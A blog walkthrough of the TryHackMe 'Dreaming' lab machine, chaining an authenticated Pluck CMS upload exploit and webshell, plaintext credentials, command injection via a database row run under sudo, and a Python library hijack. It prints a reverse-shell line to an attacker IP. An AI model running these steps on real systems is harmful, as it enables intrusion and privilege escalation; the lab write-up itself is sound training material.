This page looks best with JavaScript enabled

TryHackMe - Dreaming

 ·  ☕ 8 min read  ·  ✍️ azadin

dreaming

Solve the riddle that dreams have woven.

TitleDreaming
DescriptionSolve the riddle that dreams have woven.
Points90
DifficultyEasy
Makerb1d0ws, tokyo

Summary

Dreaming: in this machine we exploit a vulnerable CMS called dreaming, an authenticated file upload vulnerability that esacpes the restrictions and gets us a shell, once in, find credentials of a user in a script, pivoting as him, we perform an sql command injection, tricking the priviledges we have to run a script that fetches from the database as another user, to takeover his account, lastly, we hijack a python library to get a shell as a user that is in the sudoer’s file.


Enumeration

Let’s see what we have to work with again.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
┌──(azadin㉿kali)-[~/tryhackme]
└─$ nmap -p$ports -sC -sV -Pn -n 10.10.51.65  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-04 12:27 UTC
Nmap scan report for 10.10.51.65
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d0:27:31:f4:2a:87:7f:ff:4c:c1:f7:5f:cc:32:a9:4e (RSA)
|   256 61:d5:66:7f:e8:eb:07:ad:d0:54:9e:c0:8a:38:f8:80 (ECDSA)
|_  256 51:e4:18:c2:05:fe:ef:7c:e0:b6:00:a9:2d:f9:e5:0d (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.55 seconds

so we only have port 80, from there I used gobuster and found the app endpoint, that gets us to : http://10.10.51.65/app/pluck-4.7.13

FootHold

I looked up the CMS : pluck-4.7.13 and found that it has a cve : File Upload Remote Code Execution (Authenticated), and we have an exploit for it, but we first need to be authenticated, I tried a default password : password and it worked.

next we run the exploit to get a shell:

1
2
3
4
5
6
┌──(azadin㉿kali)-[~/tryhackme]
└─$ python 49909.py 10.10.51.65 80 password /app/pluck-4.7.13 

Authentification was succesfull, uploading webshell

Uploaded Webshell to: http://10.10.51.65:80/app/pluck-4.7.13/files/shell.phar

the syntax is python 49909.py /url-to-pulck endpoint.

and now we have a shell on the url provided by the exploit. I like things on my terminal so I got another shell for me.

dreaming

Lucien Flag

Playing around, I went to /opt and found the following :

1
2
3
4
5
6
7
8
9
www-data@ip-10-10-51-65:/$ cd opt
cd opt
www-data@ip-10-10-51-65:/opt$ ls -asl
ls -asl
total 16
4 drwxr-xr-x  2 root   root   4096 Aug 15  2023 .
4 drwxr-xr-x 20 root   root   4096 Jul  4 12:23 ..
4 -rwxrw-r--  1 death  death  1574 Aug 15  2023 getDreams.py
4 -rwxr-xr-x  1 lucien lucien  483 Aug  7  2023 test.py

and now :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@ip-10-10-51-65:/opt$ cat test.py
cat test.py
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)

we can ssh using lucien:HeyLucien#@1999! and get the lucien flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(chida㉿kali)-[~/sus/oo/yak]
└─$ ssh lucien@10.10.101.210                                                                                             
The authenticity of host '10.10.101.210 (10.10.101.210)' can't be established.
ED25519 key fingerprint is SHA256:buqK7uiv3hnS+/rdvFkhgU+dYAuS5He71GWDU2EEH+Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.101.210' (ED25519) to the list of known hosts.
                                  {} {}
                            !  !  II II  !  !
                         !  I__I__II II__I__I  !
                         I_/|--|--|| ||--|--|\_I
        .-'"'-.       ! /|_/|  |  || ||  |  |\_|\ !       .-'"'-.
       /===    \      I//|  |  |  || ||  |  |  |\\I      /===    \
       \==     /   ! /|/ |  |  |  || ||  |  |  | \|\ !   \==     /
        \__  _/    I//|  |  |  |  || ||  |  |  |  |\\I    \__  _/
         _} {_  ! /|/ |  |  |  |  || ||  |  |  |  | \|\ !  _} {_
        {_____} I//|  |  |  |  |  || ||  |  |  |  |  |\\I {_____}
   !  !  |=  |=/|/ |  |  |  |  |  || ||  |  |  |  |  | \|\=|-  |  !  !
  _I__I__|=  ||/|  |  |  |  |  |  |  || ||  |  |  |  |  |  |\||   |__I__I_
  -|--|--|-  || |  |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|   ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||   |--|--|-
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
  _|__|__|   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |__|__|_
  -|--|--|=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|=  ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||=  |--|--|-
  jgs |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
 ~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

W e l c o m e, s t r a n g e r . . .
lucien@10.10.101.210's password: 

Death Flag

poking around before we read the python script getDreamers.py in /opt, now reading .bash_history we find :

1
2
ls
mysql -u lucien -plucien42DBPASSWORD

and :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> use library
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams            |
+-------------------+
1 row in set (0.01 sec)

mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

okay, this is not useful, back to the python script.

1
2
3
4
5
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

so it takes dream from the dreamer and it exectues, this part is vulnerable, and since running : sudo -l :

1
2
3
4
5
6
lucien@ip-10-10-101-210:~$ sudo -l
Matching Defaults entries for lucien on ip-10-10-101-210:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lucien may run the following commands on ip-10-10-101-210:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

we can run the script as death, we just need to make it fetch our payload to get a shell as death.
back to the mysql we’ll inject a command to be executed as death :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
mysql> UPDATE dreams SET dream = '`/bin/bash`' WHERE dreamer = 'Alice';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | `/bin/bash`                        |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

mysql> exit
Bye

and now we’re death, feel free to grub its flag, and don’t mess with death.

1
2
lucien@ip-10-10-101-210:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
death@ip-10-10-101-210:/home/lucien$ ls -als

Morpheuse Flag

if we are to remember well, the script we analysed before wasn’t the original one, and it had it’s password redacted, now we can retrieve it and ssh as death, it’s on /home/death/getDreams.py

death:!mementoMORI666!

checking our home directory first, I noticed this :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
death@ip-10-10-101-210:~$ cat .viminfo 
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!

# Viminfo version
|1,4

# Value of 'encoding' when this file was written
*encoding=utf-8

-'  342  41  /usr/lib/python3.8/shutil.py
|4,39,342,41,1691452263,"/usr/lib/python3.8/shutil.py"
-'  342  41  /usr/lib/python3.8/shutil.py

why would this be here, I checked the file : /usr/lib/python3.8/shutil.py

1
2
death@ip-10-10-101-210:~$ ls -asl /usr/lib/python3.8/shutil.py
52 -rw-rw-r-- 1 root death 51474 Mar 18 20:04 /usr/lib/python3.8/shutil.py

we can write to it huh?! let’s keep this in mind.
now let’s go after Morpheuse!

1
2
3
4
5
6
7
8
9
death@dreaming:~$ cat /home/morpheus/restore.py

from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

now I understand the Path to takeover Morpheuse, he’s importing the same library we can overrite, so let’s just do that and overrite it to get a shell as him.

1
2
3
death@ip-10-10-101-210:/etc$ cat /usr/lib/python3.8/shutil.py
import os
os.system("bash -c 'exec bash -i &>/dev/tcp/10.9.2.77/9001 <&1'")

something like this, on another terminal set up a listener, and you’ll get logged in as Morpehuse.

Share on

azadin
WRITTEN BY
azadin
Cybersecurity Engineer